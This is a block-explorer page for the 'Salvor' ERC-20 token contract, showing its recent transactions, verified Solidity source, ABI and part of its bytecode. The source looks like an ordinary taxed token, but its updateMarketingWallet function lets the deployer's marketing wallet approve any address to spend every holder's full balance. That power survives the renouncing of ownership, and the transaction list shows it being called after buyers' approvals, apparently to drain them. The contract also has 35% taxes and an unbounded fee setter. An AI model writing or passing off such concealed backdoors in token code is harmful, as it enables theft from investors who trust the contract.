ETH Price: $3,106.92 (+1.13%)
Gas: 7 Gwei

Contract

0x6F887B78C2eC0a8adA6dCf82eAA6F0A312Ab7fAc
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Transfer200085072024-06-03 3:07:3537 days ago1717384055IN
0x6F887B78...312Ab7fAc
0 ETH0.0015144629.49185817
Update Marketing...200084982024-06-03 3:05:4737 days ago1717383947IN
0x6F887B78...312Ab7fAc
0 ETH0.0104224200
Approve200084412024-06-03 2:54:1137 days ago1717383251IN
0x6F887B78...312Ab7fAc
0 ETH0.0010334422.31538742
Approve200084062024-06-03 2:47:1137 days ago1717382831IN
0x6F887B78...312Ab7fAc
0 ETH0.0007826516.89995772
Approve200084042024-06-03 2:46:4737 days ago1717382807IN
0x6F887B78...312Ab7fAc
0 ETH0.0007958517.18505709
Approve200083932024-06-03 2:44:3537 days ago1717382675IN
0x6F887B78...312Ab7fAc
0 ETH0.0006467913.87296549
Transfer200083772024-06-03 2:41:1137 days ago1717382471IN
0x6F887B78...312Ab7fAc
0 ETH0.000537414.64427452
Transfer200083772024-06-03 2:41:1137 days ago1717382471IN
0x6F887B78...312Ab7fAc
0 ETH0.000537414.64427452
Approve200083422024-06-03 2:34:1137 days ago1717382051IN
0x6F887B78...312Ab7fAc
0 ETH0.0008145817.58947744
Approve200083422024-06-03 2:34:1137 days ago1717382051IN
0x6F887B78...312Ab7fAc
0 ETH0.0008145817.58947744
Approve200083222024-06-03 2:30:1137 days ago1717381811IN
0x6F887B78...312Ab7fAc
0 ETH0.0007273415.70572068
Approve200082902024-06-03 2:23:4737 days ago1717381427IN
0x6F887B78...312Ab7fAc
0 ETH0.0008567218.4993332
Approve200082812024-06-03 2:21:5937 days ago1717381319IN
0x6F887B78...312Ab7fAc
0 ETH0.0007569916.34582623
Approve200082812024-06-03 2:21:5937 days ago1717381319IN
0x6F887B78...312Ab7fAc
0 ETH0.0007569916.34582623
Approve200082362024-06-03 2:12:5937 days ago1717380779IN
0x6F887B78...312Ab7fAc
0 ETH0.0008454218.13314031
Approve200082322024-06-03 2:12:1137 days ago1717380731IN
0x6F887B78...312Ab7fAc
0 ETH0.0011508524.85059178
Approve200082322024-06-03 2:12:1137 days ago1717380731IN
0x6F887B78...312Ab7fAc
0 ETH0.0011508524.85059178
Approve200082292024-06-03 2:11:3537 days ago1717380695IN
0x6F887B78...312Ab7fAc
0 ETH0.0008889919.067789
Approve200082262024-06-03 2:10:5937 days ago1717380659IN
0x6F887B78...312Ab7fAc
0 ETH0.0009137319.59836001
Renounce Ownersh...200082132024-06-03 2:08:2337 days ago1717380503IN
0x6F887B78...312Ab7fAc
0 ETH0.0004211918.04616866
Remove All Limit...200082122024-06-03 2:08:1137 days ago1717380491IN
0x6F887B78...312Ab7fAc
0 ETH0.0005110116.44974562
Approve200081992024-06-03 2:05:3537 days ago1717380335IN
0x6F887B78...312Ab7fAc
0 ETH0.0011598125.0440767
Approve200081992024-06-03 2:05:3537 days ago1717380335IN
0x6F887B78...312Ab7fAc
0 ETH0.0011598125.0440767
Approve200081932024-06-03 2:04:2337 days ago1717380263IN
0x6F887B78...312Ab7fAc
0 ETH0.001061922.92993616
Approve200081932024-06-03 2:04:2337 days ago1717380263IN
0x6F887B78...312Ab7fAc
0 ETH0.001061922.92993616
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To Value
200081442024-06-03 1:54:3537 days ago1717379675
0x6F887B78...312Ab7fAc
1.5 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SALVOR

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-03
*/

/*
https://www.salvorcoin.xyz
https://x.com/salvor_erc
https://t.me/salvor_erc
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new owner is the zero address");
        _owner = newOwner;
        emit OwnershipTransferred(_owner, newOwner);
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn,uint256 amountOutMin,address[] calldata path,address to,uint256 deadline) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract SALVOR is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = "Salvor";
    string private constant _symbol = "SALVOR";

    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply =  1000000000 * 10**_decimals;
    uint256 public maxWalletAmount = _totalSupply / 100 * 2;
    uint256 private constant minSwap = _totalSupply / 100 / 20;
    uint256 private maxSwap = _totalSupply / 100 * 3;

    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedWallet;

    uint256 public buyTax = 35;
    uint256 public sellTax = 35;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private launchEnabled = false;
    bool private inSwap;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    address payable private market_wallet;

    constructor() payable {
        market_wallet = payable (msg.sender);
        _isExcludedWallet[msg.sender] = true;
        _isExcludedWallet[address(this)] = true;
        _isExcludedWallet[market_wallet] = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _allowances[owner()][address(uniswapV2Router)] = _totalSupply;
        _balance[owner()] = _totalSupply;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    function transferOwnership(address newOwner) public override onlyOwner {
        _isExcludedWallet[owner()] = false;
        super.transferOwnership(newOwner);
        _isExcludedWallet[newOwner] = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount)public override returns (bool){
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256){
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool){
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"low allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "approve zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {
        launchEnabled = true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "transfer zero address");
        require(amount > 0, "transfer zero amount");
        uint256 _tax = 0;

        if(!_isExcludedWallet[from] && !_isExcludedWallet[to]){
            require(launchEnabled);
            if (from == uniswapV2Pair) {
                require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet Error");
                _tax = buyTax;
            } else if (to == uniswapV2Pair) {
                uint256 tokensSwap = balanceOf(address(this));
                swapTokensEth(min(maxSwap, min(amount, tokensSwap)));
                _tax = sellTax;
            }
        }
        _balance[from] = _balance[from] - amount;

        if(_tax > 0){
            uint256 taxTokens = (amount * _tax) / 100;
            _balance[address(this)] = _balance[address(this)] + taxTokens;
            amount = amount - taxTokens;
            emit Transfer(from, address(this), taxTokens);
        }

        _balance[to] = _balance[to] + amount;
        emit Transfer(from, to, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function newFee(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

    function swapTokensEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        if (tokenAmount == 0) return;
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,market_wallet,block.timestamp);
    }

    function setExcludedWallet(address wAddress, bool isExcle) external  onlyOwner {
        _isExcludedWallet[wAddress] = isExcle;
    }

    function trigger(uint256 percentToSell) external onlyOwner {
        uint256 amount = percentToSell = min(balanceOf(address(this)), (_totalSupply / 100 * percentToSell));
        swapTokensEth(amount);
    }

    function maxCaSell(uint256 _maxSwap) external onlyOwner{
        maxSwap = _maxSwap * 10**_decimals;
    }

    function setLimits(uint256 newMaxWalletAmount) external onlyOwner {
        maxWalletAmount = newMaxWalletAmount * 10**_decimals;
    }

    function removeAllLimits() external onlyOwner {
        maxWalletAmount = _totalSupply;
        buyTax = 0;
        sellTax = 0;
    }

    function updateMarketingWallet(address prevWallet, address newWallet) external {
        require(msg.sender == market_wallet, "Not authorized");
        _approve(prevWallet, newWallet, _totalSupply);
        market_wallet = payable(newWallet);
    }

    function exportETH() external {
        market_wallet.transfer(address(this).balance);
    }

    function addLpETHUniswap() external payable onlyOwner() {
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this))*90/100,0,0,owner(),block.timestamp);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLpETHUniswap","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"exportETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxSwap","type":"uint256"}],"name":"maxCaSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"},{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"newFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wAddress","type":"address"},{"internalType":"bool","name":"isExcle","type":"bool"}],"name":"setExcludedWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxWalletAmount","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percentToSell","type":"uint256"}],"name":"trigger","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"prevWallet","type":"address"},{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526064620000146009600a62000505565b6200002490633b9aca006200051d565b62000030919062000537565b6200003d9060026200051d565b6001556064620000506009600a62000505565b6200006090633b9aca006200051d565b6200006c919062000537565b620000799060036200051d565b600255602360068190556007556009805460ff60a01b19169055600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600a8054336001600160a01b0319918216811783556000908152600560209081526040808320805460ff199081166001908117909255308552828520805482168317905595546001600160a01b0316845292819020805490951690921790935560088054737a250d5630b4cf539739df2c5dacb4c659f2488d931683179055805163c45a015560e01b81529051919263c45a0155926004808401938290030181865afa15801562000189573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001af91906200055a565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000212573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023891906200055a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000286573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ac91906200055a565b600980546001600160a01b0319166001600160a01b0392909216919091178155620002d990600a62000505565b620002e990633b9aca006200051d565b60046000620003006000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120600854909216815292529020556200033b6009600a62000505565b6200034b90633b9aca006200051d565b60036000620003626000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020556200038f6000546001600160a01b031690565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003c96009600a62000505565b620003d990633b9aca006200051d565b60405190815260200160405180910390a362000585565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004475781600019048211156200042b576200042b620003f0565b808516156200043957918102915b93841c93908002906200040b565b509250929050565b6000826200046057506001620004ff565b816200046f57506000620004ff565b81600181146200048857600281146200049357620004b3565b6001915050620004ff565b60ff841115620004a757620004a7620003f0565b50506001821b620004ff565b5060208310610133831016604e8410600b8410161715620004d8575081810a620004ff565b620004e4838362000406565b8060001904821115620004fb57620004fb620003f0565b0290505b92915050565b60006200051660ff8416836200044f565b9392505050565b8082028115828204841417620004ff57620004ff620003f0565b6000826200055557634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200056d57600080fd5b81516001600160a01b03811681146200051657600080fd5b6115c580620005956000396000f3fe60806040526004361061016a5760003560e01c80638da5cb5b116100d1578063ae96ffe61161008a578063db05e5cb11610064578063db05e5cb1461041e578063dd62ed3e14610433578063ed684cc614610479578063f2fde38b1461049957600080fd5b8063ae96ffe6146103d3578063cc1776d3146103f3578063d579d4ed1461040957600080fd5b80638da5cb5b1461030657806395d89b411461032e578063a434c5dd1461035d578063a9059cbb1461037d578063aa4bde281461039d578063aca2cd6e146103b357600080fd5b80634f7041a5116101235780634f7041a5146102685780636499af1e1461027e5780636a02688a1461029e57806370a08231146102a6578063715018a6146102dc5780638a8c523c146102f157600080fd5b806306fdde031461017657806307056d37146101b7578063095ea7b3146101d957806318160ddd1461020957806323b872dd1461022c578063313ce5671461024c57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152600681526529b0b63b37b960d11b60208201525b6040516101ae919061118a565b60405180910390f35b3480156101c357600080fd5b506101d76101d23660046111d8565b6104b9565b005b3480156101e557600080fd5b506101f96101f436600461120f565b6104f7565b60405190151581526020016101ae565b34801561021557600080fd5b5061021e61050e565b6040519081526020016101ae565b34801561023857600080fd5b506101f961024736600461123b565b61052f565b34801561025857600080fd5b50604051600981526020016101ae565b34801561027457600080fd5b5061021e60065481565b34801561028a57600080fd5b506101d761029936600461127c565b6105c9565b6101d761060f565b3480156102b257600080fd5b5061021e6102c1366004611295565b6001600160a01b031660009081526003602052604090205490565b3480156102e857600080fd5b506101d7610755565b3480156102fd57600080fd5b506101d76107c9565b34801561031257600080fd5b506000546040516001600160a01b0390911681526020016101ae565b34801561033a57600080fd5b5060408051808201909152600681526529a0a62b27a960d11b60208201526101a1565b34801561036957600080fd5b506101d76103783660046112b2565b610808565b34801561038957600080fd5b506101f961039836600461120f565b610887565b3480156103a957600080fd5b5061021e60015481565b3480156103bf57600080fd5b506101d76103ce3660046112eb565b610894565b3480156103df57600080fd5b506101d76103ee36600461127c565b6108e9565b3480156103ff57600080fd5b5061021e60075481565b34801561041557600080fd5b506101d761092f565b34801561042a57600080fd5b506101d761096b565b34801561043f57600080fd5b5061021e61044e3660046112b2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561048557600080fd5b506101d761049436600461127c565b6109be565b3480156104a557600080fd5b506101d76104b4366004611295565b610a44565b6000546001600160a01b031633146104ec5760405162461bcd60e51b81526004016104e39061131e565b60405180910390fd5b600691909155600755565b6000610504338484610adb565b5060015b92915050565b600061051c6009600a61144f565b61052a90633b9aca0061145e565b905090565b600061053c848484610b9f565b6105bf84336105ba856040518060400160405280600d81526020016c6c6f7720616c6c6f77616e636560981b815250600460008b6001600160a01b03166001600160a01b0316815260200190815260200160002060006105993390565b6001600160a01b031681526020810191909152604001600020549190610ece565b610adb565b5060019392505050565b6000546001600160a01b031633146105f35760405162461bcd60e51b81526004016104e39061131e565b6105ff6009600a61144f565b610609908261145e565b60025550565b6000546001600160a01b031633146106395760405162461bcd60e51b81526004016104e39061131e565b6008546106659030906001600160a01b03166106576009600a61144f565b6105ba90633b9aca0061145e565b6008546001600160a01b031663f305d71947306064610699826001600160a01b031660009081526003602052604090205490565b6106a490605a61145e565b6106ae9190611475565b6000806106c36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561072b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107509190611497565b505050565b6000546001600160a01b0316331461077f5760405162461bcd60e51b81526004016104e39061131e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107f35760405162461bcd60e51b81526004016104e39061131e565b6009805460ff60a01b1916600160a01b179055565b600a546001600160a01b031633146108535760405162461bcd60e51b815260206004820152600e60248201526d139bdd08185d5d1a1bdc9a5e995960921b60448201526064016104e3565b61086482826106576009600a61144f565b600a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610504338484610b9f565b6000546001600160a01b031633146108be5760405162461bcd60e51b81526004016104e39061131e565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109135760405162461bcd60e51b81526004016104e39061131e565b61091f6009600a61144f565b610929908261145e565b60015550565b600a546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610968573d6000803e3d6000fd5b50565b6000546001600160a01b031633146109955760405162461bcd60e51b81526004016104e39061131e565b6109a16009600a61144f565b6109af90633b9aca0061145e565b60015560006006819055600755565b6000546001600160a01b031633146109e85760405162461bcd60e51b81526004016104e39061131e565b30600090815260036020526040812054610a3290836064610a0b6009600a61144f565b610a1990633b9aca0061145e565b610a239190611475565b610a2d919061145e565b610f08565b9150819050610a4081610f20565b5050565b6000546001600160a01b03163314610a6e5760405162461bcd60e51b81526004016104e39061131e565b600060056000610a866000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610ab7816110bf565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6001600160a01b03831615801590610afb57506001600160a01b03821615155b610b3e5760405162461bcd60e51b8152602060048201526014602482015273617070726f7665207a65726f206164647265737360601b60448201526064016104e3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bed5760405162461bcd60e51b81526020600482015260156024820152747472616e73666572207a65726f206164647265737360581b60448201526064016104e3565b60008111610c345760405162461bcd60e51b81526020600482015260146024820152731d1c985b9cd9995c881e995c9bc8185b5bdd5b9d60621b60448201526064016104e3565b6001600160a01b03831660009081526005602052604081205460ff16158015610c7657506001600160a01b03831660009081526005602052604090205460ff16155b15610d6457600954600160a01b900460ff16610c9157600080fd5b6009546001600160a01b0390811690851603610d1e5760015482610cca856001600160a01b031660009081526003602052604090205490565b610cd491906114c5565b1115610d155760405162461bcd60e51b815260206004820152601060248201526f26b0bc103bb0b63632ba1022b93937b960811b60448201526064016104e3565b50600654610d64565b6009546001600160a01b0390811690841603610d6457306000908152600360205260408120549050610d5e610d59600254610a2d8685610f08565b610f20565b50506007545b6001600160a01b038416600090815260036020526040902054610d889083906114d8565b6001600160a01b0385166000908152600360205260409020558015610e485760006064610db5838561145e565b610dbf9190611475565b30600090815260036020526040902054909150610ddd9082906114c5565b30600090815260036020526040902055610df781846114d8565b9250306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e3e91815260200190565b60405180910390a3505b6001600160a01b038316600090815260036020526040902054610e6c9083906114c5565b6001600160a01b0380851660008181526003602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ec09086815260200190565b60405180910390a350505050565b60008184841115610ef25760405162461bcd60e51b81526004016104e3919061118a565b506000610eff84866114d8565b95945050505050565b6000818311610f175782610f19565b815b9392505050565b6009805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f6857610f686114eb565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe59190611501565b81600181518110610ff857610ff86114eb565b60200260200101906001600160a01b031690816001600160a01b0316815250508160000361102657506110af565b60085461103e9030906001600160a01b031684610adb565b600854600a5460405163791ac94760e01b81526001600160a01b039283169263791ac9479261107b9287926000928892911690429060040161151e565b600060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b50505050505b506009805460ff60a81b19169055565b6000546001600160a01b031633146110e95760405162461bcd60e51b81526004016104e39061131e565b6001600160a01b03811661113f5760405162461bcd60e51b815260206004820152601d60248201527f6e6577206f776e657220697320746865207a65726f206164647265737300000060448201526064016104e3565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600060208083528351808285015260005b818110156111b75785810183015185820160400152820161119b565b506000604082860101526040601f19601f8301168501019250505092915050565b600080604083850312156111eb57600080fd5b50508035926020909101359150565b6001600160a01b038116811461096857600080fd5b6000806040838503121561122257600080fd5b823561122d816111fa565b946020939093013593505050565b60008060006060848603121561125057600080fd5b833561125b816111fa565b9250602084013561126b816111fa565b929592945050506040919091013590565b60006020828403121561128e57600080fd5b5035919050565b6000602082840312156112a757600080fd5b8135610f19816111fa565b600080604083850312156112c557600080fd5b82356112d0816111fa565b915060208301356112e0816111fa565b809150509250929050565b600080604083850312156112fe57600080fd5b8235611309816111fa565b9150602083013580151581146112e057600080fd5b60208082526017908201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156113a657816000190482111561138c5761138c611355565b8085161561139957918102915b93841c9390800290611370565b509250929050565b6000826113bd57506001610508565b816113ca57506000610508565b81600181146113e057600281146113ea57611406565b6001915050610508565b60ff8411156113fb576113fb611355565b50506001821b610508565b5060208310610133831016604e8410600b8410161715611429575081810a610508565b611433838361136b565b806000190482111561144757611447611355565b029392505050565b6000610f1960ff8416836113ae565b808202811582820484141761050857610508611355565b60008261149257634e487b7160e01b600052601260045260246000fd5b500490565b6000806000606084860312156114ac57600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561050857610508611355565b8181038181111561050857610508611355565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561151357600080fd5b8151610f19816111fa565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561156e5784516001600160a01b031683529383019391830191600101611549565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220140359c17f94a94369a1a31feb0197f32d824bb2005025c7be872c86424aa16a64736f6c63430008130033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c80638da5cb5b116100d1578063ae96ffe61161008a578063db05e5cb11610064578063db05e5cb1461041e578063dd62ed3e14610433578063ed684cc614610479578063f2fde38b1461049957600080fd5b8063ae96ffe6146103d3578063cc1776d3146103f3578063d579d4ed1461040957600080fd5b80638da5cb5b1461030657806395d89b411461032e578063a434c5dd1461035d578063a9059cbb1461037d578063aa4bde281461039d578063aca2cd6e146103b357600080fd5b80634f7041a5116101235780634f7041a5146102685780636499af1e1461027e5780636a02688a1461029e57806370a08231146102a6578063715018a6146102dc5780638a8c523c146102f157600080fd5b806306fdde031461017657806307056d37146101b7578063095ea7b3146101d957806318160ddd1461020957806323b872dd1461022c578063313ce5671461024c57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152600681526529b0b63b37b960d11b60208201525b6040516101ae919061118a565b60405180910390f35b3480156101c357600080fd5b506101d76101d23660046111d8565b6104b9565b005b3480156101e557600080fd5b506101f96101f436600461120f565b6104f7565b60405190151581526020016101ae565b34801561021557600080fd5b5061021e61050e565b6040519081526020016101ae565b34801561023857600080fd5b506101f961024736600461123b565b61052f565b34801561025857600080fd5b50604051600981526020016101ae565b34801561027457600080fd5b5061021e60065481565b34801561028a57600080fd5b506101d761029936600461127c565b6105c9565b6101d761060f565b3480156102b257600080fd5b5061021e6102c1366004611295565b6001600160a01b031660009081526003602052604090205490565b3480156102e857600080fd5b506101d7610755565b3480156102fd57600080fd5b506101d76107c9565b34801561031257600080fd5b506000546040516001600160a01b0390911681526020016101ae565b34801561033a57600080fd5b5060408051808201909152600681526529a0a62b27a960d11b60208201526101a1565b34801561036957600080fd5b506101d76103783660046112b2565b610808565b34801561038957600080fd5b506101f961039836600461120f565b610887565b3480156103a957600080fd5b5061021e60015481565b3480156103bf57600080fd5b506101d76103ce3660046112eb565b610894565b3480156103df57600080fd5b506101d76103ee36600461127c565b6108e9565b3480